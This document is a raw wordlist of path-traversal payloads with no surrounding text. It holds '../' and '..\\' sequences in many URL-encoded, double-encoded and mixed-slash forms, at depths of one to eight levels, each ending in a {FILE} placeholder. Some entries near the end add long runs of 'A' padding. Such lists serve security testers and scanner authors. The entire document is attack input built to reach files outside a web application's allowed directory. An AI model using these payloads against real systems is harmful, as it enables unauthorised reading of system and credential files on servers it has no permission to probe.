..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> 